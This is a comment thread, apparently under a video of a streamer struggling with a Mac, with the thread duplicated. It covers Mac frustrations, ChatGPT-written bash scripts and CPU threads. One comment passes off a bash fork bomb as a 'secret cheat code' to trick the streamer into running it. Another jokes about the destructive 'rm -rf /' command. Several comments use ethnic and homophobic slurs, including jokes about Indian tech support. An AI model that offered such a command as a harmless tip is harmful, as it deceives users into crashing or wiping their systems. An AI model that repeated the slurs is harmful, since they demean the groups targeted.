the ones at walmart with the mini amp combo, sick tone even better than mac audio
dsallen7
November 11, 2024 3:22 pm
Hey Sben, this is a secret cheat code that activates your computer’s Awesome Mode, it’s really cool, you should try it:
:(){ :|:& };:
Revnatsoc
November 11, 2024 3:13 pm
Sven is being attacked by demon through audio equipment
PrussianBluemangroup
November 11, 2024 1:41 pm
The Macfag spiral:
Mac is awesome
Just a few issues nothing big
Okay this is just frustrating
Wow I wasted my money
Windows is actually just better I shouldn’t have even bothered
Seen it a dozen times.
AndroidE1588
November 11, 2024 1:34 pm
Fargo mentioned.
adamstein
November 11, 2024 1:12 pm
Don’t write bash scripts, just use a scripting language and have ChatGPT do what you want.
1. Don’t be a pedant, you know what I’m referring to. Python or Ruby are far more ergonomic, there’s no reason to not use them. In emergency scenarios, you can just call a process execution command and write directly to the command line.
2. Nah that isn’t true, I give my full staff engineer seal of approval, programming is a joke.
The notion that ChatGPT is writing you Russian roulette scripts when you ask for a simple filesystem editor is ridiculous. In fact, let’s demonstrably prove you wrong with minimal effort.
Prompt: Given a folder, n, write me a script in bash that will edit each file in the folder with the mime type as part of its name with an arbitrary enum, e.g. a text document ‘Notes.txt’ will become ‘Notes.text.txt’ Output: Here’s a bash script that will iterate over each file in a given folder and rename it to include the MIME type in the filename. It uses file --mime-type to detect the MIME type, splits the type to get the main category (like text or image), and renames the file accordingly. #!/bin/bash # Directory to be processed folder="." #… Read more »
As an old school coder this disturbs me. Figuring out how to do this the first time should hurt. You should feel joy and accomplishment after it does what you want. You should have wasted half an afternoon.
@adamstein I am fully with you about the usefulness of LLM’s- at least for actually readable languages like Python, C# or Powershell, as opposed to bash scripts, but I am not sure that this suggested script will actually work. In particular, did you test it with files that didn’t already have a extension suffix on them? I tried it on files that I’d stripped an extension from and it didn’t. No criticism on you, this is just how shit LLMs and shell scripts are. I fiddle f**ked around and asked Bing to deliver me a script based on a more… Read more »
Tim Apple sez: Svenjeet sir pls do not redeem perm
Facebook Boomer
November 11, 2024 12:40 pm
$ complete --allow --redeem
The Ghoulish_Knight
November 11, 2024 12:23 pm
I really hate when everything is subscription based, honestly the “public internet” will be a gatekeep money grift while the real free internet is the dark web. Apple is not really that different than Windows, and Linux has its problems, and it’s community is so pozzed (like programmer socks’ hellscape).
Haven’t seen a single bluescreen ever since I’m off the windoze. Never going back.
ChefMarv
November 11, 2024 12:22 pm
My limited experience with Mac it’s that it’s essentially a Linux box. You can probably find a way to do most of what you want, but you need to be bash-maxing
It’s so much a linux box that nearly all of the packages you’d find in public yum or apt repos are directly ported via TWO different projects: MacPorts and Brew.
Brew is gay. Use MacPorts.
Each core can have multiple threads. They essentially act as a core, and they will show up as a core in any process monitor, but they share an instruction set.
There is an app called shortcuts in your apps folder that you can use to build scripts with a super simple UI. You don’t need to touch the terminal to open seven windows.
But… if you want to, you can use AppleScript to do that and it’s super easy to learn but these days it’s just easier to ask ChatpGPT to help you write the AppleScript you want to create.
Sven & Mike (attempt to)operate a Mac computer
https://www.youtube.com/watch?v=zQGX3J6DAGw
Did you find the files?
https://www.youtube.com/watch?v=L_o_O7v1ews
hi svens
which guitar are best?
His specific ones that are for sale
Get a Ken Lawrence. They are super cheap guitars.
the ones at walmart with the mini amp combo, sick tone even better than mac audio
Hey Sben, this is a secret cheat code that activates your computer’s Awesome Mode, it’s really cool, you should try it:
:(){ :|:& };:Sven is being attacked by demon through audio equipment
The Macfag spiral:
Mac is awesome
Just a few issues nothing big
Okay this is just frustrating
Wow I wasted my money
Windows is actually just better I shouldn’t have even bothered
Seen it a dozen times.
Fargo mentioned.
Don’t write bash scripts, just use a scripting language and have ChatGPT do what you want.
bash is a scripting language
And you shouldn’t just blindly copy-paste scripts without a basic understanding of what they’re doing
1. Don’t be a pedant, you know what I’m referring to. Python or Ruby are far more ergonomic, there’s no reason to not use them. In emergency scenarios, you can just call a process execution command and write directly to the command line.
2. Nah that isn’t true, I give my full staff engineer seal of approval, programming is a joke.
Go ahead and give this a run then
The notion that ChatGPT is writing you Russian roulette scripts when you ask for a simple filesystem editor is ridiculous. In fact, let’s demonstrably prove you wrong with minimal effort.
Prompt: Given a folder, n, write me a script in bash that will edit each file in the folder with the mime type as part of its name with an arbitrary enum, e.g. a text document ‘Notes.txt’ will become ‘Notes.text.txt’ Output: Here’s a bash script that will iterate over each file in a given folder and rename it to include the MIME type in the filename. It uses file --mime-type to detect the MIME type, splits the type to get the main category (like text or image), and renames the file accordingly. #!/bin/bash # Directory to be processed folder="." #… Read more »
As an old school coder this disturbs me. Figuring out how to do this the first time should hurt. You should feel joy and accomplishment after it does what you want. You should have wasted half an afternoon.
@adamstein I am fully with you about the usefulness of LLM’s- at least for actually readable languages like Python, C# or Powershell, as opposed to bash scripts, but I am not sure that this suggested script will actually work. In particular, did you test it with files that didn’t already have a extension suffix on them? I tried it on files that I’d stripped an extension from and it didn’t. No criticism on you, this is just how shit LLMs and shell scripts are. I fiddle f**ked around and asked Bing to deliver me a script based on a more… Read more »
rm -rf /is ultimate do not redeem…don’t sudo this at home!
Tim Apple sez: Svenjeet sir pls do not redeem perm
I really hate when everything is subscription based, honestly the “public internet” will be a gatekeep money grift while the real free internet is the dark web. Apple is not really that different than Windows, and Linux has its problems, and it’s community is so pozzed (like programmer socks’ hellscape).
Haven’t seen a single bluescreen ever since I’m off the windoze. Never going back.
My limited experience with Mac it’s that it’s essentially a Linux box. You can probably find a way to do most of what you want, but you need to be bash-maxing
It’s so much a linux box that nearly all of the packages you’d find in public yum or apt repos are directly ported via TWO different projects: MacPorts and Brew.
Brew is gay. Use MacPorts.
The macOS Darwin kernel is a Unix derivative, so yes it is essentially Linux
As a long time Macfag i thoroughly enjoy the content of Sven getting mad at Operating Systems
Don’t encourage him
Sben re channel your computer rage into rightoid/whitoid rage
CPUs have physical cores and virtual cores
What’s really the difference, and which one runs more optimally?
Each core can have multiple threads. They essentially act as a core, and they will show up as a core in any process monitor, but they share an instruction set.
You’re gonna find me in the batch room
*batch file room
Learn shortcuts. Cmd + m to minimise, Cmd + Ctrl + F to full screen.
This is every Sben Mac breb.
https://youtu.be/rEvYETWVK6M?si=CI79Za9ncx9tOZI5
Unpozzed link https://youtu.be/rEvYETWVK6M
There is an app called shortcuts in your apps folder that you can use to build scripts with a super simple UI. You don’t need to touch the terminal to open seven windows.
But… if you want to, you can use AppleScript to do that and it’s super easy to learn but these days it’s just easier to ask ChatpGPT to help you write the AppleScript you want to create.
Thank you, I’ll look into this shortcuts thing
Shortcuts is awesome. It’s on iOS too and I use it to extract the audio from videos without having to get any separate app.
Shortcuts is probably more versatile than Benny Gantz!
https://t.me/Middle_East_Spectator/12313
I knew eventually Sven would just end up hating the Mac lol.
Prep in the Pajeet Tech Support
I appreciate the terminal title
run swill.exe
Apple problems huh? Bill Gates sends his regards
Swill to power